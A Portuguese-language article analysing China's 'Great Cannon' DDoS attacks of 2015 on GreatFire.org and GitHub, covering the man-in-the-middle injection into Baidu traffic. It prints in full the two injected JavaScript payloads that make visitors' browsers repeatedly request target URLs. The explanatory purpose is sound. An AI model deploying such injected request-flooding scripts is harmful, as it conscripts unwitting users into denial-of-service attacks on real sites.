A primeira aparição do grande canhão chinês no ataque ao Github

No dia 26 de março de 2015, os funcionários do Github notaram um grande volume de acessos em seus servidores. Essa anomalia não parecia nada normal, pois havia uma grande concentração de acessos em apenas 2 páginas. Ambas páginas eram de autoria de uma mesma entidade antigovernamental.

Percebeu-se que esse grande fluxo de acessos se tratava de um ataque DDoS (ataque de negação de serviço distribuído). Vários computadores estavam acessando os seguintes repositórios: github.com/greatfire (canal de um grupo ativista opositor ao atual governo chinês) e github.com/cn-nytimes (canal de noticiário New Yorks Times em chinês). Ambos repositórios publicavam conteúdo proibido pelo governo chinês. Segundo o relatório “An Analysis of China’s Great Cannon” publicado pela universidade de Califórnia, Berkeley, os ataques vinham da China. A ferramenta utilizada para o ataque DDoS em 2015 ao Github foi apelidada de “The Great Cannon”.

A ferramenta usada para realizar ataques DDoS no Github em 2015

A ferramenta utilizada para atacar o Github recebeu o nome de “The Great Cannon” (O grande canhão). Esse nome foi inspirado na muralha da china, cujo nome em inglês é “The Great Wall”. A expressão “canhão” foi usada pelo fato dessa ferramenta possuir capacidade de realizar ataques cibernéticos além das fronteiras da China. Além do grande canhão, a China também possui outra tecnologia de controle de internet: “The Great Firewall” (O grande firewall chinês). Diferente do grande ganhão, o grande firewall só atua dentro do país para regular a internet dentro da China.

O grande canhão chinês consegue redirecionar os acessos de usuários para URLs arbitrários. Concentrando um grande número de acessos em um único local na internet, o canhão pode fazer com que o serviço fique sobrecarregado e saia do ar. Isso pode gerar grandes prejuízos dependendo da quantidade de usuários que acessam esse serviço e são impedidos de usar o sistema.

Em 2015, o redirecionamento dos usuários foi feito usando a linguagem de programação javascript. Comandos maliciosos de javascript foram injetados (XSS) em um sistema de busca chinês conhecido como Baidu. Uma pequena porcentagem dos usuários que acessavam o sistema de busca eram redirecionados aos alvos de ataque direcionado.

O Baidu pode ser considerado o Google da China. De acordo com a Alexa Rank (serviço encerrado em 2021), em 2015 o Baidu era o quarto site mais acessado do mundo, apenas atrás do google, facebook e youtube. Além do sistema de busca, Baidu também disponibiliza dados analíticos e propagandas, tendo um amplo escopo de serviços digitais. Esse amplo escopo de serviços fez com que Baidu recebesse um grande número de acessos estrangeiros. Na época, só o número de usuários estadounidenses que acessavam o Baidu chegava a quase 5 milhões por mês. Especula-se que esse foi o motivo da plataforma Baidu ter sido escolhida como alvo das injeções de javascript, pois a grande maioria das vítimas dos ataques eram usuários que residiam fora da China e tinham acesso a informação proibida pelo governo Chinês.

Antes do ataque DDoS ao github, o grande canhão teria sido usado para derrubar o site político GreatFire

No dia 16 de março de 2015, dez dias antes do ataque ao Github, o domínio greatfire.org teria recebido ataques do grande canhão chinês. Esse domínio usa os serviços de Amazon CloudFront para disponibilizar conteúdo proibido dentro da China.

De acordo com o relatório “Using Baidu 百度 to steer millions of computers to launch denial of service attacks” publicado pelo GreatFire em 25 de março de 2015, as vítimas dos ataques eram falantes da língua chinesa que acessavam os servidores da China fora do escopo de domínio do governo chinês. Em outras palavras, as vítimas acessavam conteúdo proibido de locais onde a China não consegue controlar a internet, como é o caso da internet de Hong Kong, Macao e Taiwan. Porém, uma vez que um usuário acessa um serviço localizado dentro da China como é o caso do Baidu, códigos maliciosos eram injetados no meio do caminho, fazendo com que o usuário seja redirecionado para outras páginas sem o seu consentimento.

O acesso aos serviços de Baidu podem acontecer tanto diretamente quanto indiretamente. Como por exemplo, um usuário pode acessar uma página legítima que exibe propagandas fornecidas pelo Baidu. Nesse caso, o usuário vira uma vítima indiretamente, sendo redirecionado para as páginas de vítimas de um ataque direcionado.

No exemplo acima, o usuário acessa um serviço legítimo e confiável. Esse serviço legítimo monetiza o conteúdo usando um serviço de propaganda fornecido pelo Baidu, importado através de um código em javascript. Porém, o site legítimo não tem conhecimento das irregularidades, muito menos o usuário que entrou no site. Quando o usuário acessa o site, o código malicioso escrito em javascript é executado, em seguida, redirecionando o usuário para o alvo de ataque.

Usando os logs fornecidos pelo GreatFire, a universidade de Toronto criou o relatório “China’s Great Cannon” e publicou em 10 de abril de 2015. Nesse relatório consta quais locais concentraram o maior número de vítimas. Os locais que mais concentraram vítimas foram Taiwan e Hong Kong, com uma média 66% do total de vítimas. Em seguida, Malásia, Estados Unidos e Austrália ocupavam a lista. O relatório de GreatFire exibiu um mapa contendo os países afetados usando 600 conexões aleatórias dentro dos logs.

No sudeste da China é onde ficam as regiões onde a internet não é regulamentada pelo governo chinês, como Taiwan e Hong Kong.

Código malicioso utilizado para realizar os ataques DDoS

Os códigos para o ataque ao GreatFire e ao Github são diferentes. O ataque ao GreatFire foi realizado por um arquivo chamado “h.js” que era injetado por um servidor proxy transparente no meio do caminho quando algum usuário acessava os serviços do Baidu localizados dentro da China.

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>");
startime = new Date().getTime();
var count = 0;

function unixtime() {
    var dt = new Date();
    var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000;
    return ux;
}
url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net") NUM = url_array.length;

function r_send2() {
    var x = unixtime() % NUM;
    var url = url_array[x];
    get(url);
}

function get(myurl) {
    var ping;
    $.ajax({
        url: myurl + "?" + unixtime(),
        dataType: "text",
        timeout: 10000,
        cache: true,
        beforeSend: function() {
            requestTime = new Date().getTime();
        },
        complete: function() {
            responseTime = new Date().getTime();
            ping = Math.floor(responseTime - requestTime);
            if (responseTime - startime < 300000) {
                r_send(ping);
                count = count + 1;
            }
        }
    });
}

function r_send(ping) {
    setTimeout("r_send2()", ping);
}
setTimeout("r_send2()", 2000);

A variável “url_array” armazena os endereços onde as vítimas eram redirecionadas, cujos endereços forneciam acesso a conteúdo não permitido pelo governo chinês. Em resumo, esse código realiza um loop infinito solicitando acesso aos URLs que serão vítimas do ataque. A função “get” é responsável por fazer as solicitações de acesso, caso a resposta do servidor da vítima retorne uma resposta dentro de 5 minutos (300 segundos), o código continua fazendo solicitações de acesso. O loop infinito só pode ser interrompido se a vítima fechar a página com o javascript adulterado.

Segundo o relatório do GreatFire, esse ataque gerou um imenso prejuízo financeiro: cerca de 30.000 dólares diários. O número de acessos chegou até 2 bilhões por hora.

O código usado para atacar as páginas no Github não foi muito diferente do anterior.

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

O código parece ter sido um pouco refatorado. O comportamento é o mesmo, porém o valor da variável “url_array” mudou. Nesse código, os alvos de ataque são duas páginas do Github que pertecem ao Greatfire.org. O ataque DDoS aos servidores do Github foram mitigados em alguns dias.

As autoridades de Baidu negaram qualquer envolvimento no caso. Alguns relatórios apontam as autoridades do atual governo chinês como responsáveis pelo ataque, porém também apontam que é difícil afirmar com total certeza o responsável pelos atos.

Representantes da empresa Baidu afirmam que não houve brechas no sistema que permitissem a adulteração do código. Pode-se chegar a conclusão que os ataques eram feitos através de ataques man-in-the-middle, onde uma máquina intercepta a comunicação de dois computadores conectados a internet, adulterando as informações no meio do caminho.

Relatórios sobre o grande canhão apontaram que a adulteração dos dados com o ataque man-in-the-middle só é possível quando a comunicação entre os computadores é através do protocolo HTTP. O protocolo HTTP não usa criptografia na transferência de dados, portanto quando um usuário acessa um site que não usa protocolo HTTPS, está vulnerável a ataques como espionagem e adulteração de dados.

A grande maioria dos sites na China não utilizam o protocolo HTTPS, isso permite que terceiros possam monitorar e no pior dos casos, adulterar a informação que está sendo acessada.

O que podemos aprender com esse artigo?

A criptografia das informações na comunicação entre duas máquinas na internet é extremamente importante. Nesse artigo é possível chegar a conclusão de que caso o protocolo HTTPS tivesse sido usado, a adulteração do código poderia ter sido evitada. A grande maioria dos serviços digitais nos Estados Unidos utilizam o protocolo HTTPS, garantindo que as informações são encriptadas, evitando que terceiros monitorem ou interceptem a comunicação.